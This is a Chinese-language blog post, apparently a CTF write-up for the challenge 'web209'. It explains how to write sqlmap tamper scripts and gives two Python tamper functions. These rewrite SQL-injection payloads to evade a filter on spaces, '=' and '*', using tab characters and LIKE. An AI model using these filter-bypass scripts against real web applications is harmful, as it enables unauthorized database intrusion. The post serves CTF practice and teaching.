【原创】编写sqlmap–tamper脚本

admin 2022年12月3日16:39:10评论85 views字数 1578阅读5分15秒阅读模式

[huayang]

注意:目前最新的sqlmap已经不能有中文了,注释的也不行

【原创】编写sqlmap–tamper脚本

sqlmap--tamper参数可以引入用户自定义的脚本来修改注入时的payload,由此可以使用tamper来绕过waf,替换被过滤的关键字等

我们先来分析一下我的原创脚本web209

#!/usr/bin/env python
"""
Author: huayang
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.LOW
def dependencies():
    singleTimeWarnMessage("\n\n\t>>>web209 tamper<<<\n")
def tamper(payload, **kwargs):  
    payload = payload.replace(" ",  chr(0x09))  
    payload = payload.replace("*", chr(0x31))
    payload = payload.replace("=",  chr(0x09))
    return payload  

分为了import部分、__priority__ 属性、dependencies函数、tamper函数以及用户自定义的函数

import部分

这一部分我们可以导入sqlmap的内部库

前两个库不用管

第三个库dependencies主要是用来提醒用户的

函数则这样写

def dependencies():
    singleTimeWarnMessage("\n\n\t>>>web入门—SQL注入web209 tamper<<<\n")
【原创】编写sqlmap–tamper脚本

Tamper

前面的都花里胡哨的,这里才是核心

编写此脚本的题目是过滤了”=” “*” “空格”这三个

我们围绕这三个进行编写即可

【原创】编写sqlmap–tamper脚本

暂时就说这么简单

其实还有种更加正确的方法

根据官方脚本进行改编

space2comment.py //把空格替换为/**/

我把注释加上一看便知

【原创】编写sqlmap–tamper脚本

贴一个由上题改编的脚本

还是出自web209

【原创】编写sqlmap–tamper脚本
#!/usr/bin/env python
"""
Author: huayang
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.LOW
def dependencies():
    singleTimeWarnMessage("\n\n\t>>>webweb209 tamper<<<\n")
def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False
        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x09)
                    continue
            elif payload[i] == "*":
                retVal += chr(0x31)
                continue
            elif payload[i] == "=":
                retVal += chr(0x09) + 'LIKE' + chr(0x09)
                continue
            elif payload[i] == " ":
                retVal += chr(0x09)
                continue
            retVal += payload[i]
    return retVal

参考文章:

如何编写Sqlmap的Tamper脚本?

[/huayang]

FROM:浅浅淡淡[hellohy]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月3日16:39:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】编写sqlmap–tamper脚本http://cn-sec.com/archives/1442991.html

发表评论

匿名网友 填写信息